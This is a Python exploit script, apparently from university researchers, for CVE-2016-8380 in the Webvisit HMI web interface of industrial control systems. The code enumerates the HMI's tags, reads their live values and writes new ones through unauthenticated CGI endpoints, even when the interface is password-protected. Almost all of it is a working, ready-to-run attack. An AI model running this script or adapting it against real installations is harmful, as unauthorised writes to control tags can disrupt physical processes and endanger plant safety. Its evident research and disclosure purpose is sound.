#! /usr/bin/env python
''' 
	Copyright 2018 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.

        File name CVE-2016-8380.py
        written by tijl[dot]deneut[at]howest[dot]be
        
        In cooperation with Lars De Maesschalck, Michael De Vos and Robbe Vuylsteke
        
        More info:
        https://ics-cert.us-cert.gov/advisories/ICSA-313-01
        --> Script to exploit CVE-2016-8380 and probably CVE-2016-8371
        
        Script to read and write tags via a Webvisit HMI page (even in case of a password protection)
        Steps:
        * Get Project Name: http://<ip>/
        * Get list of tags: http://<ip>/<projectname>.tcr
        * Get current values of tags: http://<ip>/cgi-bin/ILRReadValues.exe
        * Set new tag values: http://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)
'''
import urllib2

#strIP = raw_input('Please enter an IP [172.20.3.10]: ')
strIP = ''
if strIP == '': strIP = '172.20.3.10'

try:
    URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': no response')
    raw_input('Press Enter to exit')
    exit()

strProject = ''
for line in URLResponse.readlines():
    if 'ProjectName' in line:
        strProject = line.split('VALUE="')[1].split('"')[0]

if strProject == '':
    print('#### Error, no \'ProjectName\' found on the main page')
    raw_input('Press Enter to exit')
    exit()

print('---- Found project \'' + strProject + '\', retrieving list of tags')

try:
    TagResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strProject + '.tcr'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': /' + strProject + '.tcr not found')
    raw_input('Press Enter to exit')
    exit()

arrTagList = []
for line in TagResponse.readlines():
    if line.startswith('#!-- N ='):
        intNumberOfTags = int(line.split('=')[1])
        print('---- There should be ' + str(intNumberOfTags) + ' tags:')
    if not line.startswith('#'):
        if not line.split(';')[0].strip() == '':
            arrTagList.append(line.split(';')[0].strip())
            print('-- '+line.split(';')[0].strip())


raw_input('Press Enter to query them all')
import os, urllib
os.system('cls' if os.name == 'nt' else 'clear')
strPost = '<body>'
strPost += '<item_list_size>' + str(len(arrTagList)) + '</item_list_size>'
strPost += '<item_list>'
for item in arrTagList:
    strPost += '<i><n>' + item + '</n></i>'
strPost += '</item_list></body>'
DataResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/ILRReadValues.exe', strPost)).read()

arrData = []
for item in DataResponse.split('<i>'):
    if '<n>' in item:
        name = item.split('<n>')[1].split('</n>')[0]
        value = item.split('<v>')[1].split('</v>')[0]
        arrData.append((name,value))
print('----- Full list of tags and their values:')
i = 0
for item in arrData:
    i += 1
    print(str(i) + ': Tag ' + item[0] + ' has value: ' + item[1])

ans1 = raw_input('Want to change a tag? Enter a number or press Enter to quit: ')
if ans1 == '':
    exit()
strTag = arrData[int(ans1) - 1][0]
strVal = arrData[int(ans1) - 1][1]
ans2 = raw_input('Setting value for ' + strTag + ' [' + strVal + ']: ')
if ans2 == '': ans2 = strVal
urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/writeVal.exe?' + urllib.quote_plus(strTag) + '+' + str(ans2)))
